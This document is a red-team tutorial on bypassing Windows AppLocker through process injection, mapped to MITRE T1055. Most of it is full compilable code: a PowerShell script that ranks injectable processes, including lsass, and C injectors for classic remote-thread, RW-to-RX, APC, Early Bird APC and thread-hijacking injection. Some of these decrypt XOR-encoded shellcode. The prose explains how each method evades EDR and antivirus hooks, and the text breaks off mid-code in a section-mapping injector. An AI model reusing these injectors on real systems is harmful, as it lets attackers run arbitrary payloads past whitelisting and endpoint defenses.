AppLocker Bypass — Process Injection
Scope: Red team / authorized penetration testing. Techniques map to MITRE ATT&CK T1055 (Process Injection), T1055.001 (DLL Injection), T1055.002 (PE Injection), T1055.004 (APC Injection), and T1055.012 (Process Hollowing).
Lab Setup
Recommended VM Stack
Host Machine
└── Hypervisor (VMware Workstation / VirtualBox / Hyper-V)
├── Windows 10/11 Enterprise x64 (victim VM)
│ ├── Windows Defender enabled + updated
│ ├── AppLocker default rules active
│ ├── Sysmon (SwiftOnSecurity config)
│ ├── x64dbg (dynamic analysis + injection debugging)
│ ├── Process Hacker 2 (live memory / handle inspection)
│ ├── API Monitor (track Win32 API calls per-process)
│ ├── Sysinternals Suite (Process Monitor, VMMap)
│ └── WinDbg (kernel-level debugging, optional)
│
└── Kali Linux (attacker VM)
├── mingw-w64 cross-compiler (x64 + x86)
├── Python 3.10+ with pefile, keystone-engine
├── nasm (shellcode assembly)
└── netcat / rlwrapWindows VM Configuration
1. Install and configure debugging tools
1# x64dbg — process injection debugger
2# Download from https://x64dbg.com and extract to C:\Tools\x64dbg
3
4# Process Hacker 2
5winget install ProcessHacker.ProcessHacker
6
7# Sysinternals
8winget install Microsoft.Sysinternals
9
10# Enable kernel debugging symbols
11$env:_NT_SYMBOL_PATH = "srv*C:\Symbols*https://msdl.microsoft.com/download/symbols"2. Enable verbose Sysmon logging for injection detection
1# sysmon-inject.xml — targeted config for catching injections
2@"
3<Sysmon schemaversion="4.82">
4 <EventFiltering>
5 <RuleGroup name="ProcessAccess" groupRelation="or">
6 <ProcessAccess onmatch="include">
7 <GrantedAccess condition="contains">0x1F0FFF</GrantedAccess>
8 <GrantedAccess condition="contains">0x1FFFFF</GrantedAccess>
9 <GrantedAccess condition="contains">0x40</GrantedAccess>
10 </ProcessAccess>
11 </RuleGroup>
12 <RuleGroup name="CreateRemoteThread" groupRelation="or">
13 <CreateRemoteThread onmatch="include">
14 <SourceImage condition="is not">C:\Windows\System32\csrss.exe</SourceImage>
15 </CreateRemoteThread>
16 </RuleGroup>
17 <RuleGroup name="ImageLoad" groupRelation="or">
18 <ImageLoad onmatch="include">
19 <Signed condition="is">false</Signed>
20 </ImageLoad>
21 </RuleGroup>
22 </EventFiltering>
23</Sysmon>
24"@ | Out-File sysmon-inject.xml -Encoding UTF8
25
26.\Sysmon64.exe -c sysmon-inject.xml3. Build environment on Kali
# cross-compilers
sudo apt install mingw-w64 nasm -y
# Python tooling
pip install keystone-engine pefile capstone
# verify x64 target compilation
echo 'int main(){return 0;}' > test.c
x86_64-w64-mingw32-gcc -o test.exe test.c && echo "x64 toolchain OK"4. Set up target processes for injection testing
# launch known-good injectable processes for testing
Start-Process notepad.exe # simple, always available
Start-Process "C:\Windows\System32\mspaint.exe"
Start-Process explorer.exe # rich target — many threads, alertable waits
# get their PIDs
Get-Process notepad, mspaint, explorer | Select Name, Id, SessionId5. Process Hacker — configure for injection monitoring
Process Hacker → Hacker → Options → Advanced
☑ Enable kernel-mode driver (better visibility)
☑ Highlight: Processes with injected DLLs
Right-click any process → Properties → Memory
→ Watch for non-image RWX regions — sign of shellcode injection6. API Monitor — capture injection calls
API Monitor → File → Monitor New Process → notepad.exe
Filter: VirtualAllocEx, WriteProcessMemory, CreateRemoteThread,
NtMapViewOfSection, QueueUserAPC, SetThreadContext7. Snapshot baseline
Snapshot → "INJECTION_BASELINE"Revert between techniques: injected shellcode lingering in target processes will skew subsequent tests.
Why Process Injection Bypasses AppLocker
AppLocker evaluates processes at creation time. It checks the binary on disk, validates it against publisher/path/hash rules, and makes an allow/deny decision. That’s the entire window it has.
Process injection sidesteps that window entirely:
AppLocker evaluates: notepad.exe ← trusted, signed, allowed
│
AppLocker stops here │
│ VirtualAllocEx()
│ WriteProcessMemory() ← your shellcode
│ CreateRemoteThread()
▼
shellcode executes inside notepad.exe
notepad.exe is the process — AppLocker already approved it
no new process = no new AppLocker evaluationYour payload inherits the host process’s:
- AppLocker trust level
- Process token and privileges
- Network identity
- Parent process ancestry
The target process is the disguise. AppLocker never sees what runs inside it.
Tool 0 — Find Injectable Processes
Before injecting anything, find the best targets: processes that are trusted, stable, and have the right architecture.
1# Find-InjectableProcesses.ps1
2# Scores running processes by injection suitability:
3# - is it signed / trusted?
4# - does it match our bitness?
5# - is it stable enough to survive injection?
6# - do we have PROCESS_ALL_ACCESS?
7
8param(
9 [switch]$x86Only,
10 [switch]$x64Only,
11 [switch]$Verbose
12)
13
14Add-Type @"
15using System;
16using System.Runtime.InteropServices;
17public class ProcHelper {
18 [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(
19 uint access, bool inherit, int pid);
20 [DllImport("kernel32.dll")] public static extern bool CloseHandle(IntPtr h);
21 [DllImport("kernel32.dll")] public static extern bool IsWow64Process(
22 IntPtr h, out bool wow64);
23
24 public const uint PROCESS_ALL_ACCESS = 0x1F0FFF;
25 public const uint PROCESS_QUERY_INFO = 0x0400;
26 public const uint PROCESS_VM_READ = 0x0010;
27}
28"@
29
30# stable, high-value injection targets
31$preferred = @(
32 'explorer','notepad','mspaint','calc','svchost',
33 'RuntimeBroker','SearchHost','sihost','ctfmon',
34 'taskhostw','dwm','spoolsv','lsass'
35)
36
37$results = [Collections.Generic.List[PSCustomObject]]::new()
38
39Get-Process -ErrorAction SilentlyContinue |
40Where-Object { $_.Id -ne $PID -and $_.Id -ne 0 -and $_.Id -ne 4 } |
41ForEach-Object {
42 $proc = $_
43 $score = 0
44
45 # can we open with full access?
46 $hProc = [ProcHelper]::OpenProcess(
47 [ProcHelper]::PROCESS_ALL_ACCESS, $false, $proc.Id)
48 $canOpen = $hProc -ne [IntPtr]::Zero
49
50 if ($canOpen) {
51 $score += 3
52 # check bitness
53 $isWow64 = $false
54 [ProcHelper]::IsWow64Process($hProc, [ref]$isWow64) | Out-Null
55 $is32bit = $isWow64
56 [ProcHelper]::CloseHandle($hProc) | Out-Null
57 } else {
58 $is32bit = $false
59 }
60
61 # filter by arch
62 if ($x86Only -and -not $is32bit) { return }
63 if ($x64Only -and $is32bit) { return }
64
65 # is it signed?
66 $signed = $false
67 try {
68 $path = $proc.MainModule.FileName
69 $sig = Get-AuthenticodeSignature $path -ErrorAction SilentlyContinue
70 $signed = $sig.Status -eq 'Valid'
71 if ($signed) { $score += 2 }
72 } catch {}
73
74 # preferred process name bonus
75 if ($preferred -contains $proc.Name.ToLower()) { $score += 2 }
76
77 # session 0 = system processes, noisier to inject
78 if ($proc.SessionId -gt 0) { $score += 1 }
79
80 $results.Add([PSCustomObject]@{
81 PID = $proc.Id
82 Name = $proc.Name
83 Arch = if ($is32bit) { 'x86' } else { 'x64' }
84 Signed = $signed
85 CanOpen = $canOpen
86 Score = $score
87 Session = $proc.SessionId
88 })
89}
90
91$ranked = $results | Where-Object { $_.CanOpen } |
92 Sort-Object Score -Descending
93
94Write-Host "`n[+] Injectable processes (ranked by suitability):`n" -ForegroundColor Green
95$ranked | Format-Table -AutoSize
96
97$ranked | Export-Csv ".\injectable_procs.csv" -NoTypeInformation
98Write-Host "[*] saved → injectable_procs.csv"
99
100# top pick
101$top = $ranked | Select-Object -First 1
102if ($top) {
103 Write-Host "`n[*] recommended target: $($top.Name) (PID $($top.PID)) — score $($top.Score)" `
104 -ForegroundColor Cyan
105}Technique 1 — Classic Shellcode Injection
The foundational technique. Allocate memory in a remote process, write shellcode, create a thread to execute it. Loud but reliable, good for validating your shellcode before moving to stealthier methods.
1/* classic_inject.c
2 * Classic VirtualAllocEx + WriteProcessMemory + CreateRemoteThread injection.
3 * Usage: classic_inject.exe <PID> <shellcode.bin>
4 * cat shellcode.bin | classic_inject.exe <PID>
5 *
6 * Compile (x64):
7 * x86_64-w64-mingw32-gcc -o classic_inject.exe classic_inject.c \
8 * -s -mwindows -Wl,--build-id=none
9 */
10
11#define WIN32_LEAN_AND_MEAN
12#include <windows.h>
13#include <stdio.h>
14#include <stdlib.h>
15
16static uint8_t *load_shellcode(const char *path, size_t *out_len) {
17 FILE *f = fopen(path, "rb");
18 if (!f) return NULL;
19 fseek(f, 0, SEEK_END);
20 *out_len = (size_t)ftell(f);
21 rewind(f);
22 uint8_t *buf = (uint8_t*)malloc(*out_len);
23 fread(buf, 1, *out_len, f);
24 fclose(f);
25 return buf;
26}
27
28static uint8_t *load_stdin(size_t *out_len) {
29 uint8_t tmp[65536];
30 *out_len = fread(tmp, 1, sizeof(tmp), stdin);
31 if (*out_len == 0) return NULL;
32 uint8_t *buf = (uint8_t*)malloc(*out_len);
33 memcpy(buf, tmp, *out_len);
34 return buf;
35}
36
37int main(int argc, char *argv[]) {
38 if (argc < 2) {
39 fprintf(stderr, "usage: %s <pid> [shellcode.bin]\n"
40 " cat sc.bin | %s <pid>\n", argv[0], argv[0]);
41 return 1;
42 }
43
44 DWORD pid = (DWORD)atoi(argv[1]);
45 size_t sc_len = 0;
46 uint8_t *sc = (argc >= 3)
47 ? load_shellcode(argv[2], &sc_len)
48 : load_stdin(&sc_len);
49
50 if (!sc || sc_len == 0) {
51 fprintf(stderr, "[-] no shellcode loaded\n");
52 return 1;
53 }
54
55 printf("[*] target PID : %lu\n", pid);
56 printf("[*] shellcode len: %zu bytes\n", sc_len);
57
58 /* open target process */
59 HANDLE hProc = OpenProcess(
60 PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD,
61 FALSE, pid);
62 if (!hProc) {
63 fprintf(stderr, "[-] OpenProcess failed: %lu\n", GetLastError());
64 free(sc);
65 return 1;
66 }
67
68 /* allocate RWX in remote process */
69 LPVOID pRemote = VirtualAllocEx(hProc, NULL, sc_len,
70 MEM_COMMIT | MEM_RESERVE,
71 PAGE_EXECUTE_READWRITE);
72 if (!pRemote) {
73 fprintf(stderr, "[-] VirtualAllocEx failed: %lu\n", GetLastError());
74 CloseHandle(hProc);
75 free(sc);
76 return 1;
77 }
78 printf("[*] remote alloc : %p\n", pRemote);
79
80 /* write shellcode */
81 SIZE_T written = 0;
82 if (!WriteProcessMemory(hProc, pRemote, sc, sc_len, &written)
83 || written != sc_len) {
84 fprintf(stderr, "[-] WriteProcessMemory failed: %lu\n", GetLastError());
85 VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
86 CloseHandle(hProc);
87 free(sc);
88 return 1;
89 }
90 printf("[*] wrote %zu bytes\n", written);
91
92 /* wipe local copy */
93 SecureZeroMemory(sc, sc_len);
94 free(sc);
95
96 /* spawn remote thread */
97 HANDLE hThread = CreateRemoteThread(
98 hProc, NULL, 0,
99 (LPTHREAD_START_ROUTINE)pRemote,
100 NULL, 0, NULL);
101 if (!hThread) {
102 fprintf(stderr, "[-] CreateRemoteThread failed: %lu\n", GetLastError());
103 VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
104 CloseHandle(hProc);
105 return 1;
106 }
107
108 printf("[+] remote thread: %p — shellcode executing\n", hThread);
109 WaitForSingleObject(hThread, 5000);
110
111 CloseHandle(hThread);
112 CloseHandle(hProc);
113 return 0;
114}# compile
x86_64-w64-mingw32-gcc -o classic_inject.exe classic_inject.c \
-s -mwindows -Wl,--build-id=none
# inject into notepad (PID from Find-InjectableProcesses.ps1)
./classic_inject.exe 1234 shellcode.bin
# pipe encrypted shellcode — decrypt externally first
python3 encrypt_sc.py -i raw.bin -k 0x42 | ./classic_inject.exe 1234Technique 2 — RW→RX Two-Stage Injection (No RWX)
The classic technique allocates PAGE_EXECUTE_READWRITE, an instant EDR flag. This variant allocates PAGE_READWRITE first, writes the shellcode, then flips to PAGE_EXECUTE_READ before threading. The memory is never simultaneously writable and executable.
1/* rwrx_inject.c
2 * Two-stage injection: RW alloc → write → mprotect to RX → thread.
3 * Avoids the RWX signature without using direct syscalls.
4 *
5 * Compile:
6 * x86_64-w64-mingw32-gcc -o rwrx_inject.exe rwrx_inject.c \
7 * -s -mwindows -Wl,--build-id=none
8 */
9
10#define WIN32_LEAN_AND_MEAN
11#include <windows.h>
12#include <stdio.h>
13#include <stdlib.h>
14#include <stdint.h>
15
16/* rolling XOR decrypt matching encrypt_sc.py scheme */
17static void xor_decrypt(uint8_t *buf, size_t len, uint8_t key) {
18 for (size_t i = 0; i < len; i++)
19 buf[i] ^= (uint8_t)((key + i) & 0xff);
20}
21
22int main(int argc, char *argv[]) {
23 if (argc < 3) {
24 fprintf(stderr,
25 "usage: %s <pid> <shellcode.bin> [xor_key_hex]\n", argv[0]);
26 return 1;
27 }
28
29 DWORD pid = (DWORD)atoi(argv[1]);
30 uint8_t key = (argc >= 4) ? (uint8_t)strtol(argv[3], NULL, 16) : 0;
31
32 /* load shellcode */
33 FILE *f = fopen(argv[2], "rb");
34 if (!f) { perror("[-] fopen"); return 1; }
35 fseek(f, 0, SEEK_END);
36 size_t sc_len = (size_t)ftell(f);
37 rewind(f);
38 uint8_t *sc = (uint8_t*)malloc(sc_len);
39 fread(sc, 1, sc_len, f);
40 fclose(f);
41
42 if (key) {
43 xor_decrypt(sc, sc_len, key);
44 printf("[*] decrypted with key 0x%02x\n", key);
45 }
46
47 /* open with minimal required access */
48 HANDLE hProc = OpenProcess(
49 PROCESS_VM_OPERATION | PROCESS_VM_WRITE |
50 PROCESS_VM_READ | PROCESS_CREATE_THREAD,
51 FALSE, pid);
52 if (!hProc) {
53 fprintf(stderr, "[-] OpenProcess(%lu): %lu\n", pid, GetLastError());
54 free(sc);
55 return 1;
56 }
57
58 /* stage 1: alloc RW */
59 LPVOID pRemote = VirtualAllocEx(hProc, NULL, sc_len,
60 MEM_COMMIT | MEM_RESERVE,
61 PAGE_READWRITE); /* NOT RWX */
62 if (!pRemote) {
63 fprintf(stderr, "[-] VirtualAllocEx: %lu\n", GetLastError());
64 CloseHandle(hProc);
65 free(sc);
66 return 1;
67 }
68 printf("[*] stage1 RW alloc : %p (%zu bytes)\n", pRemote, sc_len);
69
70 /* stage 2: write shellcode */
71 SIZE_T written = 0;
72 WriteProcessMemory(hProc, pRemote, sc, sc_len, &written);
73 SecureZeroMemory(sc, sc_len);
74 free(sc);
75 printf("[*] stage2 written : %zu bytes\n", written);
76
77 /* stage 3: flip RW → RX (no write permission at execution time) */
78 DWORD oldProt = 0;
79 if (!VirtualProtectEx(hProc, pRemote, sc_len,
80 PAGE_EXECUTE_READ, &oldProt)) {
81 fprintf(stderr, "[-] VirtualProtectEx: %lu\n", GetLastError());
82 VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
83 CloseHandle(hProc);
84 return 1;
85 }
86 printf("[*] stage3 RW → RX : done\n");
87
88 /* stage 4: execute */
89 HANDLE hThread = CreateRemoteThread(
90 hProc, NULL, 0,
91 (LPTHREAD_START_ROUTINE)pRemote,
92 NULL, 0, NULL);
93
94 if (!hThread) {
95 fprintf(stderr, "[-] CreateRemoteThread: %lu\n", GetLastError());
96 VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
97 CloseHandle(hProc);
98 return 1;
99 }
100
101 printf("[+] thread %p executing at %p\n", hThread, pRemote);
102 WaitForSingleObject(hThread, 8000);
103
104 CloseHandle(hThread);
105 CloseHandle(hProc);
106 return 0;
107}Technique 3 — APC Injection
Asynchronous Procedure Calls (APCs) allow queuing a function to execute in the context of a specific thread. When a thread enters an alertable wait (via SleepEx, WaitForSingleObjectEx, MsgWaitForMultipleObjectsEx), it drains its APC queue. Queue your shellcode as an APC to an alertable thread, and it executes under that thread’s identity.
No CreateRemoteThread. The thread already exists.
1/* apc_inject.c
2 * APC injection — queue shellcode as APC to all threads of target process.
3 * Queuing to all threads maximises the chance one is in an alertable wait.
4 *
5 * Compile:
6 * x86_64-w64-mingw32-gcc -o apc_inject.exe apc_inject.c \
7 * -s -mwindows -Wl,--build-id=none
8 */
9
10#define WIN32_LEAN_AND_MEAN
11#include <windows.h>
12#include <tlhelp32.h>
13#include <stdio.h>
14#include <stdlib.h>
15#include <stdint.h>
16
17/* enumerate all thread IDs for a given PID */
18static DWORD *get_thread_ids(DWORD pid, int *count) {
19 HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
20 if (snap == INVALID_HANDLE_VALUE) return NULL;
21
22 THREADENTRY32 te = { .dwSize = sizeof(te) };
23 DWORD *ids = NULL;
24 *count = 0;
25
26 if (Thread32First(snap, &te)) {
27 do {
28 if (te.th32OwnerProcessID == pid) {
29 ids = (DWORD*)realloc(ids, (*count + 1) * sizeof(DWORD));
30 ids[(*count)++] = te.th32ThreadID;
31 }
32 } while (Thread32Next(snap, &te));
33 }
34 CloseHandle(snap);
35 return ids;
36}
37
38int main(int argc, char *argv[]) {
39 if (argc < 3) {
40 fprintf(stderr, "usage: %s <pid> <shellcode.bin>\n", argv[0]);
41 return 1;
42 }
43
44 DWORD pid = (DWORD)atoi(argv[1]);
45
46 /* load shellcode */
47 FILE *f = fopen(argv[2], "rb");
48 if (!f) { perror("fopen"); return 1; }
49 fseek(f, 0, SEEK_END);
50 size_t sc_len = (size_t)ftell(f);
51 rewind(f);
52 uint8_t *sc = (uint8_t*)malloc(sc_len);
53 fread(sc, 1, sc_len, f);
54 fclose(f);
55
56 /* open process and allocate shellcode */
57 HANDLE hProc = OpenProcess(
58 PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
59 FALSE, pid);
60 if (!hProc) {
61 fprintf(stderr, "[-] OpenProcess failed: %lu\n", GetLastError());
62 free(sc);
63 return 1;
64 }
65
66 /* RW alloc → write → RX flip */
67 LPVOID pRemote = VirtualAllocEx(hProc, NULL, sc_len,
68 MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
69 WriteProcessMemory(hProc, pRemote, sc, sc_len, NULL);
70 SecureZeroMemory(sc, sc_len);
71 free(sc);
72
73 DWORD old = 0;
74 VirtualProtectEx(hProc, pRemote, sc_len, PAGE_EXECUTE_READ, &old);
75
76 printf("[*] shellcode at %p — queueing APCs\n", pRemote);
77
78 /* enumerate threads and queue APC to each */
79 int tcount = 0;
80 DWORD *tids = get_thread_ids(pid, &tcount);
81 int queued = 0;
82
83 for (int i = 0; i < tcount; i++) {
84 HANDLE hThread = OpenThread(
85 THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION,
86 FALSE, tids[i]);
87 if (!hThread) continue;
88
89 if (QueueUserAPC((PAPCFUNC)pRemote, hThread, 0)) {
90 printf("[+] APC queued to TID %lu\n", tids[i]);
91 queued++;
92 }
93 CloseHandle(hThread);
94 }
95 free(tids);
96 CloseHandle(hProc);
97
98 printf("[*] queued to %d/%d threads — shellcode fires on next alertable wait\n",
99 queued, tcount);
100 return 0;
101}Technique 4 — Early Bird APC Injection
Early Bird is the stealth upgrade to plain APC. Instead of targeting an existing process (whose threads may never enter alertable waits), we:
- Spawn a trusted process suspended
- Inject shellcode before it runs a single line of code
- Queue APC to the main thread
- Resume — the APC fires before any process initialization, before AV hooks load
No alertable wait required. The APC executes during thread initialization, a window that most AV products don’t monitor.
1/* earlybird.c
2 * Early Bird APC injection.
3 * Spawns a suspended trusted process, injects, queues APC, resumes.
4 * Shellcode runs before process initialization completes.
5 *
6 * Compile:
7 * x86_64-w64-mingw32-gcc -o earlybird.exe earlybird.c \
8 * -s -mwindows -Wl,--build-id=none
9 */
10
11#define WIN32_LEAN_AND_MEAN
12#include <windows.h>
13#include <stdio.h>
14#include <stdlib.h>
15#include <stdint.h>
16
17/* rolling XOR decrypt */
18static void xor_decrypt(uint8_t *buf, size_t len, uint8_t key) {
19 for (size_t i = 0; i < len; i++)
20 buf[i] ^= (uint8_t)((key + i) & 0xff);
21}
22
23int main(int argc, char *argv[]) {
24 if (argc < 2) {
25 fprintf(stderr,
26 "usage: %s <shellcode.bin> [xor_key] [host_exe]\n"
27 " host_exe default: C:\\Windows\\System32\\notepad.exe\n",
28 argv[0]);
29 return 1;
30 }
31
32 uint8_t key = (argc >= 3) ? (uint8_t)strtol(argv[2], NULL, 16) : 0;
33 char *host_exe = (argc >= 4) ? argv[3]
34 : "C:\\Windows\\System32\\notepad.exe";
35
36 /* load and decrypt shellcode */
37 FILE *f = fopen(argv[1], "rb");
38 if (!f) { perror("fopen"); return 1; }
39 fseek(f, 0, SEEK_END);
40 size_t sc_len = (size_t)ftell(f);
41 rewind(f);
42 uint8_t *sc = (uint8_t*)malloc(sc_len);
43 fread(sc, 1, sc_len, f);
44 fclose(f);
45
46 if (key) xor_decrypt(sc, sc_len, key);
47
48 printf("[*] host : %s\n", host_exe);
49 printf("[*] sc len: %zu bytes\n", sc_len);
50 printf("[*] key : 0x%02x\n", key);
51
52 /* spawn host process suspended */
53 STARTUPINFOA si = { .cb = sizeof(si) };
54 PROCESS_INFORMATION pi = {0};
55
56 if (!CreateProcessA(NULL, host_exe, NULL, NULL, FALSE,
57 CREATE_SUSPENDED | CREATE_NO_WINDOW,
58 NULL, NULL, &si, &pi)) {
59 fprintf(stderr, "[-] CreateProcess failed: %lu\n", GetLastError());
60 free(sc);
61 return 1;
62 }
63 printf("[+] spawned suspended PID %lu TID %lu\n", pi.dwProcessId, pi.dwThreadId);
64
65 /* alloc RW in suspended process */
66 LPVOID pRemote = VirtualAllocEx(pi.hProcess, NULL, sc_len,
67 MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
68 if (!pRemote) {
69 fprintf(stderr, "[-] VirtualAllocEx: %lu\n", GetLastError());
70 TerminateProcess(pi.hProcess, 1);
71 free(sc);
72 return 1;
73 }
74
75 /* write shellcode */
76 SIZE_T written = 0;
77 WriteProcessMemory(pi.hProcess, pRemote, sc, sc_len, &written);
78 SecureZeroMemory(sc, sc_len);
79 free(sc);
80 printf("[*] wrote %zu bytes at %p\n", written, pRemote);
81
82 /* flip RW → RX */
83 DWORD old = 0;
84 VirtualProtectEx(pi.hProcess, pRemote, sc_len, PAGE_EXECUTE_READ, &old);
85 printf("[*] memory: RW → RX\n");
86
87 /* queue APC to main thread (thread is still suspended — fires on resume) */
88 if (!QueueUserAPC((PAPCFUNC)pRemote, pi.hThread, 0)) {
89 fprintf(stderr, "[-] QueueUserAPC failed: %lu\n", GetLastError());
90 TerminateProcess(pi.hProcess, 1);
91 return 1;
92 }
93 printf("[+] APC queued to main thread\n");
94
95 /* resume — APC fires before ntdll.dll finishes initializing */
96 ResumeThread(pi.hThread);
97 printf("[+] thread resumed — shellcode executing\n");
98
99 CloseHandle(pi.hThread);
100 CloseHandle(pi.hProcess);
101 return 0;
102}# compile
x86_64-w64-mingw32-gcc -o earlybird.exe earlybird.c -s -mwindows -Wl,--build-id=none
# inject into fresh notepad
./earlybird.exe shellcode.bin
# with XOR key, custom host
./earlybird.exe enc_shellcode.bin 42 "C:\Windows\System32\mspaint.exe"Technique 5 — Thread Hijacking
No new threads at all. Find a running thread in the target, suspend it, redirect its instruction pointer to your shellcode, resume. The shellcode executes on a thread that was already there: no CreateRemoteThread, no APC.
1/* thread_hijack.c
2 * Thread context hijacking — redirect existing thread RIP to shellcode.
3 * Quietest single-thread technique: no new threads, no APC queue.
4 *
5 * Compile:
6 * x86_64-w64-mingw32-gcc -o thread_hijack.exe thread_hijack.c \
7 * -s -mwindows -Wl,--build-id=none
8 */
9
10#define WIN32_LEAN_AND_MEAN
11#include <windows.h>
12#include <tlhelp32.h>
13#include <stdio.h>
14#include <stdlib.h>
15#include <stdint.h>
16
17/* find first accessible thread of target PID */
18static DWORD find_thread(DWORD pid) {
19 HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
20 THREADENTRY32 te = { .dwSize = sizeof(te) };
21 DWORD tid = 0;
22
23 if (Thread32First(snap, &te)) {
24 do {
25 if (te.th32OwnerProcessID == pid) {
26 /* try to open it */
27 HANDLE h = OpenThread(
28 THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT |
29 THREAD_SET_CONTEXT,
30 FALSE, te.th32ThreadID);
31 if (h) {
32 tid = te.th32ThreadID;
33 CloseHandle(h);
34 break;
35 }
36 }
37 } while (Thread32Next(snap, &te));
38 }
39 CloseHandle(snap);
40 return tid;
41}
42
43int main(int argc, char *argv[]) {
44 if (argc < 3) {
45 fprintf(stderr, "usage: %s <pid> <shellcode.bin>\n", argv[0]);
46 return 1;
47 }
48
49 DWORD pid = (DWORD)atoi(argv[1]);
50
51 FILE *f = fopen(argv[2], "rb");
52 if (!f) { perror("fopen"); return 1; }
53 fseek(f, 0, SEEK_END);
54 size_t sc_len = (size_t)ftell(f);
55 rewind(f);
56 uint8_t *sc = (uint8_t*)malloc(sc_len);
57 fread(sc, 1, sc_len, f);
58 fclose(f);
59
60 /* open process */
61 HANDLE hProc = OpenProcess(
62 PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
63 FALSE, pid);
64 if (!hProc) {
65 fprintf(stderr, "[-] OpenProcess: %lu\n", GetLastError());
66 free(sc);
67 return 1;
68 }
69
70 /* alloc + write shellcode */
71 LPVOID pSC = VirtualAllocEx(hProc, NULL, sc_len,
72 MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
73 WriteProcessMemory(hProc, pSC, sc, sc_len, NULL);
74 SecureZeroMemory(sc, sc_len);
75 free(sc);
76
77 DWORD old = 0;
78 VirtualProtectEx(hProc, pSC, sc_len, PAGE_EXECUTE_READ, &old);
79 printf("[*] shellcode at %p\n", pSC);
80
81 /* find and open a thread */
82 DWORD tid = find_thread(pid);
83 if (!tid) {
84 fprintf(stderr, "[-] no accessible thread found\n");
85 CloseHandle(hProc);
86 return 1;
87 }
88 printf("[*] target thread: TID %lu\n", tid);
89
90 HANDLE hThread = OpenThread(
91 THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
92 FALSE, tid);
93 if (!hThread) {
94 fprintf(stderr, "[-] OpenThread: %lu\n", GetLastError());
95 CloseHandle(hProc);
96 return 1;
97 }
98
99 /* suspend thread */
100 SuspendThread(hThread);
101 printf("[*] thread suspended\n");
102
103 /* get current context — we need the full CONTEXT for x64 */
104 CONTEXT ctx;
105 ctx.ContextFlags = CONTEXT_FULL;
106 if (!GetThreadContext(hThread, &ctx)) {
107 fprintf(stderr, "[-] GetThreadContext: %lu\n", GetLastError());
108 ResumeThread(hThread);
109 CloseHandle(hThread);
110 CloseHandle(hProc);
111 return 1;
112 }
113
114 printf("[*] original RIP: 0x%016llx\n", ctx.Rip);
115
116 /*
117 * Build a small trampoline in the remote process that:
118 * 1. saves all registers (preserves thread state)
119 * 2. calls our shellcode
120 * 3. restores registers
121 * 4. jumps back to the original RIP
122 *
123 * This keeps the hijacked thread stable after shellcode returns.
124 */
125 uint64_t orig_rip = ctx.Rip;
126
127 /* minimal trampoline: pushall → call sc → popall → jmp orig_rip
128 * For a reverse shell sc that never returns, we can simplify to jmp sc */
129 uint8_t tramp[14] = {
130 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, /* JMP QWORD PTR [RIP+0] */
131 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 /* address placeholder */
132 };
133 /* patch in the shellcode address */
134 *(uint64_t*)(tramp + 6) = (uint64_t)pSC;
135
136 /* alloc trampoline region */
137 LPVOID pTramp = VirtualAllocEx(hProc, NULL, sizeof(tramp),
138 MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
139 WriteProcessMemory(hProc, pTramp, tramp, sizeof(tramp), NULL);
140 VirtualProtectEx(hProc, pTramp, sizeof(tramp), PAGE_EXECUTE_READ, &old);
141
142 /* redirect RIP to trampoline */
143 ctx.Rip = (DWORD64)pTramp;
144 SetThreadContext(hThread, &ctx);
145
146 printf("[*] RIP redirected → trampoline %p → shellcode %p\n", pTramp, pSC);
147
148 /* resume thread */
149 ResumeThread(hThread);
150 printf("[+] thread resumed — executing shellcode\n");
151
152 CloseHandle(hThread);
153 CloseHandle(hProc);
154 return 0;
155}Technique 6 — NtMapViewOfSection (Shared Memory Injection)
Section-based injection avoids WriteProcessMemory entirely, one of the most-monitored injection APIs. Instead, we create a shared memory section, map it into both our process and the target, write shellcode into our local mapping (which the target sees simultaneously), then thread into it.
1/* section_inject.c
2 * NtMapViewOfSection injection — no WriteProcessMemory, no VirtualAllocEx.
3 * Uses shared memory section to deliver shellcode to target process.
4 *
5 * Compile:
6 * x86_64-w64-mingw32-gcc -o section_inject.exe section_inject.c \
7 * -s -mwindows -Wl,--build-id=none
8 */
9
10#define WIN32_LEAN_AND_MEAN
11#include <windows.h>
12#include <winternl.h>
13#include <stdio.h>
14#include <stdlib.h>
15#include <stdint.h>
16
17/* NT API typedefs */
18typedef NTSTATUS (NTAPI *pNtCreateSection)(
19 PHANDLE SectionHandle, ACCESS_MASK DesiredAccess,
20 POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize,
21 ULONG SectionPageProtection, ULONG AllocationAttributes,
22 HANDLE FileHandle);
23
24typedef NTSTATUS (NTAPI *pNtMapViewOfSection)(
25 HANDLE SectionHandle, HANDLE ProcessHandle,
26 PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize,
27 PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize,
28 DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
29
30typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(
31 HANDLE ProcessHandle, PVOID BaseAddress);
32
33typedef NTSTATUS (NTAPI *pRtlCreateUserThread)(
34 HANDLE ProcessHandle, PSECURITY_DESCRIPTOR SecurityDescriptor,
35 BOOLEAN CreateSuspended, ULONG StackZeroBits,
36 PULONG StackReserved, PULONG StackCommit,
37 PVOID StartAddress, PVOID StartParameter,
38 PHANDLE ThreadHandle, PCLIENT_ID ClientId);
39
40#define STATUS_SUCCESS 0x00000000
41#define SECTION_ALL_ACCESS 0x0F001F
